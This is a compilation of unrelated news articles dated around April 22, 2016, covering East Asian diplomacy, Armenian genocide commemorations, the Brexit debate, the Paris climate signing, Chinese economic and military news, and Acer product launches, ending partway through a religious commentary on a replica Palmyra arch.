A group of bipartisan lawmakers visits the war-linked Yasukuni Shrine in Tokyo on April 22, 2016, during its spring festival.[Photo/IC]

TOKYO -- A group of lawmakers on Friday visited the controversial war-linked Yasukuni Shrine which stands as a symbol of Japan's militarism and honors its war dead including criminals convicted by an international tribunal.

The visit by the group of lawmakers to celebrate the shrine's spring festival, follows Japanese Prime Minister Shinzo Abe making a ritual offerings to the notorious shrine in Tokyo and dedicating a "masakaki" tree a day earlier.

Labor and Welfare Minister Yasuhisa Shiozaki, House of Representatives Speaker Tadamori Oshima and House of Councillors President Masaaki Yamazaki made similar offerings.

Seiichi Eto, Abe's special advisor, and Liberal Democratic Party and lower house member, Keiji Furuya, meanwhile, visited the contentious war-linked shrine in person.

Gestures, whether made in person or made by proxy at the war shrine, draw the ire of Japan's neighboring countries, particularly China and South Korea, who both suffered immeasurably at the hands of Japan's brutal militarism before and during WWII and were both quick to denounce the visits and the offerings on Thursday.

The controversial war shrine honors the souls of some 2.5 million war dead, including more than 1,000 war criminals convicted by a post WWII court, including 14 Class-A war criminals as adjudicated by the war crimes tribunal.

For the victim countries of Japan's wartime atrocities, the shrine is a living reminder of the horrors inflicted by the Japanese Imperial Army during its time occupying countries, particularly in East Asia, and a symbol of ultra-rightwing defiance and a stronghold of contemporary historical revisionism, militarism and an imperialistic mentality.

Abe himself has not visited the shrine since he paid an ill-advised tribute there in person in December 2013, the fallout of which saw Japan's ties with its closest neighbors effectively disintegrate and the Japanese leader strongly reprimanded by the United States for inflaming regional tensions.
An expert suggested Thursday that China will not carry out military intervention in the Middle East.

Li Shaoxian, head of an Arab research institute under Ningxia University, told a symposium that China probably won't send troops to fight the conflicts in the area.

The symposium, part of a dialogue between political parties of China and Arab countries held in Yinchuan, Ningxia Hui autonomous region, focused on counterterrorism.

Li pointed out that just because China sent more peacekeeping troops to conflict-inflicted areas around the world than any other permanent member of the United Nations Security Council doesn't mean that the country will send combat troops to the Middle East.

"The peacekeeping missions should be authorized by the UN and invited by countries involved. And China's peacekeeping operations are non-aggressive," he said. "I personally don't think one can expect China to dispatch combat troops (to the Middle East)."

He also said China will not pick sides in Middle Eastern affairs, just like it doesn't on the Syrian issue.

However, China will be a force to push peace, stability and development in the Middle East, Li emphasized, pointing out that China's initiative to carry out international industrial capacity cooperation will help Arab countries to develop their industries.

"Right now is the historic stage where strengthened China-Arab cooperation is needed most urgently. The most important tasks for Arab countries are to maintain peace and development," he said. "Without peace, it's hard to talk about development. Without development, it's not possible to maintain peace."

Li made it clear that there is an important link between the situation in the Middle East and the stability of China's northwestern region, especially Xinjiang.

Zhang Jianwei, deputy head of the West Asia and North Africa bureau under the CPC Central Committee's International Department, said: "China is a permanent member of the UN Security Council as well as a victim to terrorism. Thus we will not give up our responsibility in cracking down on terrorism."

He said China is willing to cooperate with Arab countries in various areas, including politics, economy, security and cultural exchanges, to deal with the challenge of terrorism.
A scene from Pali Road. Photo provided to China Daily

The independent film Pali Road, scheduled for theatrical release in the United States next week, aims at bridging Chinese and American cultures and shattering stereotypes with its multinational casting.

The film tells a story of the search for true love between two worlds. Young doctor Lily, played by Chinese actress Michelle Chen, awakes from a coma after a car crash to find she is married to a husband, Mitch, played by Fast Five actor Sung Kang, and has a child, neither of whom she can remember. To make things worse, she is not with her true love, Neil, played by Twilight star Jackson Rathbone. Her search for the truth leads her to question everything around her, including herself and her very existence.

The romantic thriller is scheduled to screen on April 28 and April 29 in 20 major cities across the US.

"I wanted to make a film that could be appreciated, enjoyed by audiences all over the world," director Jonathan Lim told China Daily. "It's about the story and journey of the characters and finding something powerful that we can connect all audiences to emotionally to bridge that cultural gap. Everything  from story, cast and shooting location  was about bridging cultures."

One of the bridges was to incorporate the Hawaiian legend of the Naupaka Flower and the 2,600-year-old Chinese Legend of Qixi into the main character's journey.

Both stories are about star-crossed lovers who cannot be together and are torn apart by jealous goddesses and powers beyond their control.

"Although they originated from two very different cultures and countries, it was truly amazing how much these stories have in common," Lim said.

The film is the first Chinese-Hawaiian co-production and was shot entirely in Hawaii. The title refers to the actual Pali Highway on Oahu which folk tales say is haunted.

Lim, who grew up in the US and spent more than 10 years in China, said he was inspired by the challenge of making a co-production work.

"In China, many investors and studios do not believe Chinese co-productions work and they are now focusing on domestic films only," he said. "I think that is very sad and disappointing, as China has so much to share with the world and can play a much bigger role in the world market, but they have to be willing to think internationally and be creative about it."

A graduate of Beijing Film Academy and New York Film Academy, Lim wrote and directed the feature film Slam in 2009 and the TV drama series Sophia's Diary in 2010.

For Pali Road he cast a majority of Asian actors, which caused distributors to turn away because "it didn't work" for mainstream America, Lim said.

A lot of film-making nowadays comes down to names, equations and numbers rather than what would best suit the story, but it's important not to limit oneself by gate-keepers and let audiences decide for themselves, Lim said.

"By embracing and giving diversity opportunities, you're going to end up with great new content, like Fresh off the Boat and Dr Ken," he said. "If the media start to stereotype us as nerds and bookworms then there is not much future for our kids. Being a father with young kids I don't want to be telling my kids they have a lack of opportunities or what they can or cannot do because of their ethnic background."

liazhu@chinadailyusa.com
SEOUL - South Korean Foreign Minister Yun Byung-se plans to visit China next week to attend the Conference on Interaction and Confidence Building Measures in Asia (CICA) meeting of foreign ministers, Seoul's foreign ministry said on Friday.

The CICA, which was established in 1992 as a forum for dialogue and consultations on security issues in Asia, has held foreign ministers' meeting every four years. Next week's meeting will be the fifth edition.

The fifth round will be held in Beijing from April 27 to 28.

China, which holds the CICA presidency from 2014 to 2016, hosted the fourth CICA summit in Shanghai in 2014.

The CICA has 26 member states, including China, Russia, India, Iran, Kazakhstan, Mongolia, Turkey and Thailand.

It also includes countries like the United States and Japan and international organizations as observers.

South Korea joined the CICA in 2006 when then foreign minister Ban Ki-Moon, who is currently UN secretary general, attended the second CICA summit as a special envoy of then president Roh Moo-Hyun, according to Seoul's foreign ministry.

Since then, South Korea had sent vice foreign ministers to the CICA summit and foreign ministers' meeting. In 2014, the country dispatched its unification minister to Shanghai for the fourth CICA summit.

Yun will become the first South Korean foreign minister to attend the CICA meeting of foreign ministers, the ministry said.
YEREVAN, APRIL 22, ARMENPRESS. Russia will try assisting the OSCE German chairmanship in realization of its commitment of creating investigation mechanisms of incidents and creating trust and ensuring security in the NKR conflict settlement process. As Armenpress reports, this was stated by Russian FM Sergey Lavrov in Yerevan.

 A number of agreements on various issues which were achieved by the sides in the past years by the mediation of Russia should be realized. It concerns the application of investigative mechanisms of incidents and restoring trust and ensuring security. In 2011 the OSCE created a map, as to how to move forward in this direction in practice. We think its important that Germany, which assumed the OSCE chairmanship, focuses on this issue and assumes the OSCE chairmanship commitment here, Lavrov said.

Once again he stressed that in the NKR conflict settlement, Russia considers fundamental the mainataince of the ceasefire regime and exclusion of violations, noting that the 1994 and 1995 ceasefire agreements are still in force.

Lavrov is on an official visit in Armenia at the invitation of Nalbandian. Serzh Sargsyan is scheduled to receive him. Within the framework of the official visit, Lavrov paid tribute to the victims of the Armenian Genocide in Tsitsernakaberd Memorial Complex.
Trucks move across the bridge linking DPRK with the Chinese border city of Dandong in this March 3, 2016 file photo. [Photo/Agencies]

The Ministry of National Defense on Friday dismissed a media report that claimed China had sent a large number of troops to its border with the Democratic People's Republic of Korea.

"The relevant report is not in accordance with the facts," the ministry said in a written reply to a media request.

"The Chinese military maintains regular combat readiness and training status along the China-DPRK border," the ministry added.
US President Barack Obama walks down the steps of Air Force One as he arrives at Stansted Airport near London, Britain April 21, 2016. [Photo/Agencies]

LONDON - US President Barack Obama made an impassioned appeal on Friday for Britain to remain in the European Union, saying membership had magnified Britain's place in the world and made the bloc stronger and more outward looking.

Fearful that a British exit could weaken the West, Obama arrived in London to applaud Britain's EU membership which he said had helped make the world freer, richer and better able to tackle everything.

Praising Britain's "outsized" influence in the world, Obama invoked the interlinked history of the two countries and the tens of thousands of Americans lying in European war graves as his reason for speaking as "a friend" on the June 23 referendum.

"The European Union doesn't moderate British influence - it magnifies it," he wrote in an article placed on page 20 of the Daily Telegraph newspaper under the headline "As your friend, I tell you that the EU makes Britain even greater."

"The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic".

Obama is due to meet US embassy personnel and families before a lunch at Windsor Castle with Queen Elizabeth, who celebrated her 90th birthday on Thursday, and her husband Prince Philip.

Obama is scheduled to hold talks afterward with Prime Minister David Cameron, followed by a news conference.

Campaigners for Britain's EU membership, including Cameron, who is leading the "In" campaign, will welcome Obama's intervention, which led news broadcasts on British television.

But the president's comments drew scorn from opponents of Britain's EU membership.

New York-born London Mayor Boris Johnson, who heads the "Out" campaign, said that he did not want to be lectured by Americans about EU membership and that the United States would never countenance such a transfer of sovereignty.

"For the United States to tell us in the UK that we must surrender control of so much of our democracy -- it is a breathtaking example of the principle of do-as-I-say-but-not-as-I-do," Johnson wrote in the Sun newspaper.

"It is incoherent. It is inconsistent, and yes it is downright hypocritical," Johnson said.

Opinion polls indicate that British voters are leaning towards the "In" camp but many remain undecided. "In" campaigners are concerned that young voters may not turn out to vote.
Professor Tu Weiming presents calligraphy to China Centre Tubingen. [Photo by Vincent Fan/chinadaily.com.cn]

One of Germany's most prestigious universities set up a trail-blazing new academic hub for China studies to foster awareness of contemporary China and dialogue between the two countries.

At the opening ceremony of the China Centre Tubingen (CCT) by the University of Tubingen, CCT Director, Professor Dr. Helwig Schmidt-Glintzer said: "Our mission is to deepen trust between Germany and China."

He said as the world is facing tremendous new changes and conflicts over a large number issues, Germany and China must understand and engage each other more than ever before rather than just describe or watch each other.

Sponsored by the Karl Schlecht Foundation (KSG), CCT is a transdisciplinary institute dedicated to undertaking research with real-world applications, and serving students, research, business and NGO communities, as well as the general public, according to Schmidt-Glintzer.

Dr. Mathias Niedenfuhr, CCT Deputy Director, told China Daily that the center will not model itself as a thinktank like many institutes, which primarily cater to researchers, policy makers or government agencies. "What we are going to do is to build a hub to provide opportunities for students of all disciplines, such as law, literature, biology or whatever, as well as the general public, to learn about China so as to make them 'China competent' in the future, he said.

Karl Schlecht, a veteran German entrepreneur and philanthropist, who is a sponsor of CCT, said his objective was simple: make as many Germans understand China as possible. "Despite the strong and close relations between the two countries, many Germans are still very ignorant of China."

Schlecht, who also funded the Institute of World Ethos at Peking University in 2012, said he wanted to see CCT help foster a new crop of German entrepreneurs, academics and businessmen with competent knowledge about China.

The ceremony, attended by 200 people on Wednesday, concluded with a keynote speech by Professor Tu Weiming, of Harvard Yenching Institute and Peking University. On behalf of Peking University, he presented CCT with a roll of calligraphy by well-known contemporary Chinese painters Fan Zeng.

Established in 1477, the University of Tubingen is one of the oldest universities in Europe, whose students included astronomer Johannes Kepler (1571-1630) and philosopher Georg Wilhelm Friedrich Hegel (1770-1831).
Photo taken on April 22, 2016 shows the signing ceremony of Paris climate deal at the United Nations headquarters in New York. Photo/Xinhua

China will formally ratify the Paris Agreement before September, said Vice-Premier Zhang Gaoli, who signed the climate agreement on behalf of President Xi Jinping on Friday at a special ceremony at the United Nations.

Zhang, Xi's special envoy, took part in the signing ceremony with other countries, and he also called on all G20 members to give early approval to the agreement.

"China will finalize domestic legal procedures on its accession before the G20 Hangzhou summit in September this year," said Zhang to applause from the audience.

More than 165 countries signed the agreement on Friday. It was a new record for the most countries to sign an international agreement on one day, which had been set in 1982 when 119 countries signed the Law of the Sea Convention.

The signing is the first step toward ensuring that the agreement reached in Paris last December enters into force. The final step will be for each nation to unilaterally ratify the agreement, which in many cases will involve passage by national legislatures.

"We will work with the rest of the international community for early accession to the agreement and to be sure it's early entry into force," said Zhang. "China has set the target of achieving the peak of CO2 emissions around 2030, making the best effort to peak earlier."

China plans to have its CO2 emissions decrease by 18 percent in the second half of the decade, according to the 13th Five-Year Plan. The government will control total energy consumption and carbon intensity, pushing for near-zero emission demonstration projects and establishing a nationwide carbon market.

"We will deepen the South-South cooperation on climate change," said Zhang. China will launch new projects under the new South-South Cooperation Climate Fund this year.
YEREVAN, APRIL 22, ARMENPRESS. The Director of the Museum-Institute of the Armenian Genocide presented the Museums activity and achievements during the year stating the works are still underway.

The Director of the Museum Hayk Demoyan firstly stressed the importance of the new exhibition in the Museum which has received positive feedback. However, the Museum Administration is ready to hear new suggestions.

He stated that the permanent exhibition was opened on April 21, 2015 and had near 180.000 visitors from which 1500 were citizens of Turkey. Besides, the temporary exhibitions of the Museum were presented in nearly 50 museums of the world, including in Novosibirsk and Valence, and exhibitions will be held in Marseille and the famous Mazarine library of Paris, Demoyan added.

Hayk Demoyan also noted that there are suggestions to open museum exhibitions in various countries, and several agreements were signed in this context. We managed to draw the attention of international institutions, in this case the museums and reach cooperation with them as a result of hard work during these years. We plan to make scientific personnel, exhibition and information exchange, said Hayk Demoyan.

Another achievement of the museum is the publications in English language, as well as the third Armenian publication. This year the works on the publication of trilingual Armenian encyclopedia about the Armenian Genocide will be finished.

The Director of the Museum added that the activities of lobbyist groups, academic developments and foreign language publications contribute to the international recognition of the Armenian Genocide.
YEREVAN, APRIL 22, ARMENPRESS. The focus of the Yerevan Against the crime of genocide global forum will be mainly focused on issues of the living genocide survivors and refugees. Chief of Staff of the Presidential Administration Vigen Sargsyan stated this on April 22 during a press conference. We will focus on the issues of those, who witnessed this crime with their own eyes, experienced the horrors of the genocide on their own skin. We will also focus on the issue of refugees. It is known that today the refugee crisis is a serious challenge in the world. We will focus not only on the Armenian Genocide, but all genocides, we will try to bring to surface all issues and take steps for the prevention of genocides, Armenpress reports Sargsyan saying.

Vigen Sargsyan added that last year, when the first global Against the crime of genocide forum was held in Yerevan, the participants urged Armenia to establish an international platform, which will enable to widely discuss issues relating to genocide and methods of prevention. And we really understood that there is no such platform where people can gather and discuss the issues of genocide. We concluded that the forum should be regular. We decided to hold these sessions once every 2 years. We find that it will be very good to have a forum in addition to the genocide experts scientific studies, where experts, political figures, media representatives, spiritual and other representatives will gather to discuss issues against the crime of genocide, Armenpress reports Vigen Sargsyan saying.

He said that Armenia has taken important steps for the prevention of genocides after the first forum. Vigen Sargsyan says the first achievement is UN declaring December 9 as International Day of Genocide condemnation, prevention and commemoration of genocide victims.

Deputy FM Karen Nazaryan added that Armenia continues to take measures to bring to surface issues of genocide prevention in inter-parliamentary and inter-governmental platforms.

He said that the official opening of the forum will be done by Serzh Sargsyan, followed by a high level dialogue. Sessions will follow; Q&As. Participants will deliver speeches. A join document is scheduled to be adopted as a result of the forum.
(Photo : Getty Images/ Oleg Nikishin) China plans to dispatch cargo vessels to sail through the Northwest strait

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To cut back on travel times between the Atlantic and Pacific Oceans, China has encouraged ships flying its flag to take the Northwest Passage via the Arctic Ocean, a route opened up by global warming.



China is increasingly becoming active in the Polar Regions as it grows to be the biggest mining investor in Greenland along with its free trade with Iceland. Taking the Arctic Ocean route would save Chinese companies time and money. An example is the journey from Shanghai to Hamburg which if taken via the Arctic route is 2, 800 nautical miles shorter than if taken through the Suez Canal, which would take 12277 nautical miles.



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To help Chinese mariners plan maritime voyages, China's Maritime Safety Administration released the Arctic Navigation Guide this month, a 365-page guide, compiled by ocean and shipping experts, which includes detailed information on sea and ice weather. According to China's Ministry of Transport, the guidebook serves as an arctic passage operating manual.



The spokesman of China's Maritime Safety Administration, Liu Pengfei said "There will be ships with Chinese flags sailing through this route in the future". He added that "Once this route is commonly used, it will directly change global maritime transportation and have a profound influence on international trade, the world economy, capital flow and resource exploitation."



When asked if China views the Northwest Passage as part of Canada's waters or an international waterway, Chinese Foreign Ministry spokeswoman Hua Chunying said that Canada considers it to be part of their territorial domain. Some countries, on the other hand, believe that the Northwest Passage is open to international navigation.



In Ottawa, Canada's Foreign Minister Spokesman Stepehen Dion, said that an automatic right to transit does not exist in the Northwest Passage waterways.



"China has also noted that Canada has taken some management and control steps in the Northwest Passage, including that foreign ships before entering or crossing its exclusive economic zone and territorial waters report to and obtain Canada's permission," Hua said.



Joseph Pickerill, a representative of Canada, was quoted in an email saying "We welcome navigation that complies with our rules and regulations. Canada has an unfettered right to regulate internal waters".



Rob Huebert, a University of Calgary professor, has warned that China's encouragement of Northwest Passage shipping could threathen Canadian sovereignty if Chinese ships are dispatched without Ottawaa's consent.



However, the United States disagrees with the Canadian position saying that the Northwest passage is an international strait and should offer the right to transit passage. Washington has also said that Ottawa does not have the right to keep any ship from entering the Northwest Passage, although under international law, it may pass regulations to protect the environment.



So far, China has not taken any sides. Huasaid on Wednesday that China is considering both viewpoints including Canada's demand that ships ask for consent before crossing the strait.



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TagsNorthwest waters, Canadian Sovereignty, route, Arctic Ocean, china
(Photo : Kevin Frayer/Getty Images) A Chinese steel worker walks past steel rods at a plant on April 6, 2016 in Tangshan, Hebei province, China.

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As China's steel and coal industries continue to implement layoffs, the Central Government has revealed strategies that will help workers better cope with the challenges of losing their jobs.



Seven government agencies, which include the Ministry of Human Resources and Social Security and the National Development and Reform Commission, have released plans on how to assist and relocate the redundant workers that have been laid off, according to China Daily.



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The layoffs are the result of the national government's switch from an investment-led model to one that will rely on domestic consumption, services and innovation.



In line with its plans to reduce China's industrial overcapacity, the nation's leadership decided cut jobs primarily in the coal and steel sectors.



Aside from the assistance to be given to China's steel and coal workers who have been affected by the layoffs, the Chinese Government will also offer incentives to local companies that will adopt the Internet Plus" Strategy.



Once implemented by these firms, the strategy is expected to result in the creation of new jobs, development of new industrial fields and products, and the expansion of domestic and overseas market,



There is also a proposal for the displaced workers to be included in a "back to work" program that will give them free career guidance, and at the same time, provide them access to "channels" for government support.



Moreover, there are recommendations for local authorities to improve and strengthen trans-regional cooperation by relocating redundant workers to regions with better employment opportunities.



According to initial estimates by the human resources ministry, the country's steel and coal sectors will have combined layoffs totaling 1.8 million.



To cushion the impact on China's steel and coal workers who have been affected by layoffs, the Central Government will earmark100 billion yuan ($15.4 billion) to help them secure new jobs and put their careers back on track.



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Tagschina, steel industry, Coal Layoffs
(Photo : ChinaFotoPress/ChinaFotoPress via Getty Images) A Tibetian macaque, also known as macaca thibetana, is tended to in an intensive care unit (ICU) after undergoing a liver transplant at a hospital of a military medical university on May 8, 2013 in Xi'an, Shaanxi province of China.

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For the fourth consecutive year, the Chinese Academy of Sciences (CAS) garnered the top spot among global science institutions in the British Nature Publishing Group's prestigious Nature Index.



China placed second after the United States in the British Group's ranking based on countries and regions, reported Xinhua via China Daily.



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The CAS is considered as the world's largest scientific organization, whose membership is comprised of 114 institutions and 48,500 researchers.



The scientists of CAS have so far provided the largest contribution to the high-quality research materials contained in the index, a contribution that has seen a compounded annual growth rate of 6.8 percent since 2012.



Last year, the Chinese Academy of Sciences' Institute of Chemistry was one of the largest contributing departments to the institution's weighted fractional count (WFC) -- 1,357.82, which is nearly double the 772.33 output of second-placed Harvard University.



The Nature Index is a database of author-affiliation information gathered from research articles published by an independently selected group of 68 high-quality science journals around the world.



The index has been a highly-reliable source of information in the scientific community, as it provides a close to real-time representation for high-quality research output at the institutional, national and regional levels.



Although the 68 science journals represent less than one percent of the journals covering natural sciences in the Web of Science, they account for about 30 percent of total citations made by natural science journals.



Among the top 10 science institutions in the world are the French National Centre for Scientific Research, the Max Planck Society in Germany, Stanford University in the United States, University of Tokyo in Japan, the Massachusetts Institute of Technology in the United States, the Helmholtz Association of German Research Centres, the University of Oxford and the University of Cambridge in Britain.



The Chinese Academy of Sciences' achievements are worth noting in light of the high-quality scientific research and significant number of articles published US scientists in 2015, which outpaced the output of every nation that year.



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Tagschina, Chinese Academy of Sciences, United States
(Photo : Reuters) Acer is collaborating with Starbreeze to develop the StarVR.

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Acer has announced new products such as notebooks and laptop in celebration of its 40th anniversary.



The company introduced its product line with a wide range of new notebooks, gaming machines and a new Chromebook in a global launch event in New York City on April 21, including liquid-cooled 2-in-1 convertible notebook.



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The liquid-cooled Switch Alpha 12 notebook is a 2-in-1 model that costs $599 and will be available starting in May. The Switch Alpha 12 is a thin 2-in-1 notebook that features a 2160 x 1440 touchscreen display, and Acer claimed this is the first fanless 2-in-1 laptop to use a 6th generation (Skylake) Core i-series processor. This is made possible by the Switch Alphas liquid cooler. It has 4GB or 8GB of LPDDR3 SDRAM memory and 128GB, 256GB or 512GB solid-state drives (SSDs) for data storage. The machines also include a microSDXC slot and a USB 3.1 Type-C port, plus Bluetooth 4.0 and dual-band 2x2 MU-MIMO 802.11ac/a/b/g/n WiFi connectivity.



Among the new notebook offerings Acer revealed was the Chromebook 14 for Work, Acers first Chromebook compliant with the Chrome for Work initiative. The company claimed that this is the first notebook available on the market that features Vibrant Corning Gorilla Glass. The Acer Chromebook 14 for Work also features an Intel Core i-Series processor, giving it a CPU horsepower advantage over other Chromebooks sporting Atom or Celeron processors.



Another Acers new machine is the Predator G1 gaming desktop. It features 6th-generation Intel Core processors and up to 64GB of DDR4 memory. It also includes a case interior that supports full size Nvidia GeForce GTX graphics up to the Titan X card. Plus, the Predator G1 can be configured with up to a 4TB 7,200-rpm hard disk drive or a 512GB SSD. The desktop will be available in North America in July starting at $2,300.



Acer revealed two new ultra-thin devices: the S 13 notebook and the R 15 convertible laptop. The S 13 has an entry-level price of $699 and features 6th generation Intel Core-series processors, FHD IPS displays with an optional touchscreen, and it offers up to a 13-hour battery life.



The R 15 is a brand new convertible with a 15.6-inch FHD IPS display that can feature Intel Core processors (Skylake), up to 12 GB DDR4 memory, and up to an Nvidia GeForce 940MX graphics module, offering an impressive combination of a thin design, functionality and performance.



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TagsAcer, gaming pc, Liquid-Cooler Laptop, Chromebook
(Photo : Getty Images) Chinese President Xi Jinping assumed his new position as overall commander of the military which analysts said was a move to look tough and in charge in the face of rivals and potential enemies

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In a show of direct control of its armed forces, Chinese President Xi Jinping assumed the new role as commander-in-chief of the military.



More than 3,000,000-strong Chinese soldiers, both active and reserve, are now headed by Commander Xi, in what military observers said was a display of force by the country's most powerful leader in decades.



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Xinhua revealed on Thursday that Xi assumed the military position of commander-in-chief of the Joint Operations Command Center.



Joint Battle Command



Xi visited the Joint Battle Command of the PLA with the media and urged the soldiers to be "absolutely loyal and courageous and capable of winning wars."



The Joint Battle Command was created at the time of the raging territorial tensions among claimant-countries in the South China Sea.



It was formed last December to streamline China's armed forces and special commands like the PLA Rocket Force and Strategic Support Force.



Display of strength



Dressed in military camouflage complete with insignia, political and military analysts said Xi's appearance was a display of strength and strong leadership aimed at Beijing's rivals.



They said Xi has taken on several highest positions in both the government and the military like his late predecessors, Mao Zedong and Deng Xiaoping



Xi is currently China's president, chairman of the ruling communist party, head of the Central Military Commission (CMC), and now the overall commander of the streamlined armed forces.



New image



Analysts said Xi's new image and title were meant to send the message to his potential enemies that he not only heads political and administrative positions but more importantly, he is now the commander-in-chief of the world's largest military.



"Xi's move reflects the thinking that political power grows out of the barrel of the gun and signals his effort to consolidate not only the Communist Party's command of the military but also his own status as China's highest leader," said Zhang Lifan, a political analyst.



Political observers said Xi's new title was more "political than military" saying that political power has always been dependent on military control based on Chinese history.



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TagsPeople's Liberation Army, Commander Xi Jinping, President Xi Jinping, Joint Operations Command Center, Joint Battle Command, armed forces, South China Sea
(Photo : Reuters) iTunes radio service is a free to stream music options provided by Apple.; however, as of now, Apple has been ordered to shut down its iTunes and iBooks service in China

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Apple was ordered to shut down its iTunes movie and books stores in the country last week after seven months of operation. China is the second-largest market for Apple in terms of revenue.



Apple stated that it hopes to reinstate its books and music sales in the country, but did not provide any timeline. According to the New York Times, the closedown order was passed by China's State Administration of Press, Publication, Radio, Film, and Television.



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Lately, Apple had smooth running in China as it launched Apple Pay in the country. It collaborated with UnionPay for this purpose, China's state-run interbank network. The latest debacle is not likely to have much negative impact on the company's topline but it may be a harbinger of things to come.



The move may help China in providing impetus to its domestic companies. It has been reported that Apple's advent in the country has caused homegrown companies such as Huawei to suffer demand loss and higher competition.



New York Times added that China is likely to impose restrictions to seven more multinational companies for being "too deeply established in the country's core industries." The list is said to include major corporations such as Microsoft and IBM.



Apple spent a lot of time and effort to gain foothold in the growing Chinese market. The company spent a considerable time in reaching agreement with China Mobile, the largest telecom carrier in the country, for distributing iPhones in the mainland.



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Tagsapple, iTunes, iPhone, iBooks
(Photo : Getty Images) India's move is seen as a retaliation for China's support tPakistan-based terror group Jaish-e-Mohammad' chief Masood Azhar at the United Nations. China recently blocked India's attempt to put Pathankot terror attack mastermind Azhar in United Nations designated terrorists list.

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China criticized the Indian government on Friday for granting a visa to Germany-based Uyghur leader Dolkun Isa, who is branded as terrorist by Beijing.



"Dolkun is a terrorist in the red notice of the Interpol and Chinese police. Bringing him to justice is due obligation of relevant countries," said Chinese Foreign Ministry spokesperson Hua Chunyin.



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Isa is among the four Uyghur leaders who will attend a conference on democracy in Dharamshala next week. They will also meet exiled Tibetan spiritual leader Dalai Lama during the conference.



"Yes, I am invited in one of the conference in Dharamsala which will be held between 28 April and May 1. I am planning to go, so I have got the electronic visa for India," Isa confirmed in an email to Hindustan Times newspaper. "I really want to visit India because I have never been (to) India," he said. "India is one of my dream (countries) to visit."



Isa, an exiled Uyghur leader from the volatile Xinjiang region, is heading Munich-based World Uyghur Congress. China considered him a wanted criminal and put him in the country's designated terrorists list.



India's move is seen as a retaliation for China's support tPakistan-based terror group Jaish-e-Mohammad' chief Masood Azhar at the United Nations. China recently blocked India's attempt to put Pathankot terror attack mastermind Azhar in United Nations designated terrorists list.



The Chinese government defended its decision saying that it always deals with the listing of 1267 committee based on facts and pursuant to UN Security Council resolutions and relevant rules in a fair manner.



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Tagschina, India, Dolkun Isa, uyghur, Xinjiang, Masood Azhar.
(Photo : China Photos/Getty Images) Heilongjiang province in northeast China has issued a new policy that allows some families to have three children, instead of just two.

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China faces the problem of having worker shortages in the future due to the small number of working age people and its fast graying society. In facing this, a province in northeastern China has allowed families to have three children, news reports say.



Heilongjiang province in northeast China is now allowing returnees from overseas or some other places such as Hong Kong, Taiwan or Macau to have a third child, reports the South China Morning Post. Heilongjiang authorities announced this Friday.



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The standing committee of Heilongjiang province's people's congress said that the new policy was passed last Thursday. It also applies to residents living in 18 Chinese cities that border Russia, including Tahe, Huma and Mohe, as well as those belonging to specific ethnic minorities.



CRIEnglish reports that the new policy also supports couples with at least one side from ethnic minority groups, with one side outside the mainland, and couples with at least one disabled child. These are allowed to have three children in the province.



Heilongjiang authorities have also given longer marriage leaves for newlyweds. From the current 15-day leave, it has been bumped up to 25. All of these efforts and changes in policies are aimed at raising the number of people that can enter the labor force.



However, most women aged 40 and below generally do not desire to have more children, reports the China Business Journal. This is because many think of childrearing and parenting are difficult responsibilities.



Nationwide Policy



Heilongjiang's new policy is considered a step ahead of the nationwide two-child policy that was launched earlier this year.



While the two-child policy is seen as part of the solution to China's graying population problems, it was reported earlier that the Communist Party still wants to promote a balanced growth in the country's population, and limit the number of children that all Chinese couples will have.



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TagsHeilongjiang, three-child policy, two-child policy
YEREVAN, APRIL 22, ARMENPRESS. Aurora Dialogues ceremony, which will be held on April 23 within the framework of the Against the crime of the genocide global forum in Yerevan, will expand humanitarian discussions, CEO of 100 lives and Aurora prize initiative Arman Jilavyan said this during an interview with journalists on April 22.

For the first time a new material will be presented during this ceremony which will be interesting for the international community. It is the humanitarian index which will try to explain the world what humanitarian topics are more interesting for people, for the society, how well or badly the society perceives and understands humanitarian topics, and it is very important that Armenia delivers this new material. We present new material to the world both within the framework of Aurora Dialogues and Yerevan Global Forum humanitarian discussions, Armenpress reports, Jilavyan stated.

Referring to the guests of the Aurora Prize" ceremony, he stated that guests have already arrived in Yerevan. We wait for them. The majority of them is already in Yerevan. You can meet some of them walking in the streets of the city. Some of them have already visited Mother See of Holy Etchmiadzin and Geghard. Really very interesting, international and influential people visited Armenia, Jilavyan concluded.
(Photo : Courtesy of PCA-CKC) About 50 pastors attended this year's PCA-CKC EM pastors forum.

The Presbyterian Church of America's Coalition of Korean Churches, also known as PCA-CKC, hosted its fifth annual forum for English-speaking pastors, this year at Siloam Korean Church of Atlanta.

Over 50 pastors from various places throughout the country attended this year's forum. Though the forum for the English-speaking (EM) pastors used to take place simultaneously with the Korean-speaking (KM) pastors' annual conference, this year the two groups have their gatherings separately. The forum for the EM pastors took place first from April 18 to 20, and the KM pastors will have their conference next week from April 25 to 28.

This year's forum also stands out from the previous four in that it featured the most speakers since the forum's inception, as well as the most amount of PCA staff among those speakers. Lloyd Kim, the coordinator of the PCA's mission agency called Mission to the World; Stephen Estock, the coordinator of the PCA's Committee on Discipleship Ministries; Danny Kwon, the pastor of youth and families at Yuong Sang Presbyterian Church; Henry Koh, the coordinator of Korean ministries for the PCA's Mission to North America; and Min Chung, the senior pastor of Covenant Fellowship Church, who has also been featured as a speaker for all of the PCA-CKC's English-speaking pastors' forums, spoke during this year's event.

The forum, which was themed 'Making Disciples of All Nations: Discipleship and Missions in the Local Church,' started out on Monday by focusing on the role of the pastor, and then proceeded to discuss discipleship and missions during the second day. The last day of the forum featured a session regarding leadership opportunities within the denomination.

The annual PCA-CKC's forum for English-speaking pastors began in 2012 with the aim to "encourage and strengthen PCA EM ... pastors, licentiates, and candidates for ministry through mentorship, discussion, and fellowship," and has explored such topics as 'The Past, Present, and Future of English Ministry,' 'Mentoring Men,' and 'The Heart of a Pastor.'

    press@cdaily.co.kr



- Copyright ,    

#PCA
Baal's Temple arch erected in London for Earth Day 21 April, 2016 by James Wanliss , |

NEW YORK (Christian Examiner)  In the next couple of weeks reproductions of the 50 foot arch that stood at the Temple of Baal in Palmyra, Syria will be erected in important cities across the world, including New York.

In *Times Square Baal's Temple was to go up on April 19 and Earth Day is April 22.

Is the timing mere coincidence, or is something else going on?

It would be nice to think we are more advanced than ancient Canaanite or Syrian Baal worshipers, but evidence suggests we are becoming much the same.

In 1928, at Ras Shamra in Syria, an outstanding discovery was made. Archeologists unearthed temples previously devoted to the worship of Baal and Dagon, and documents that explained much about Canaanite cults we read of in the Bible.

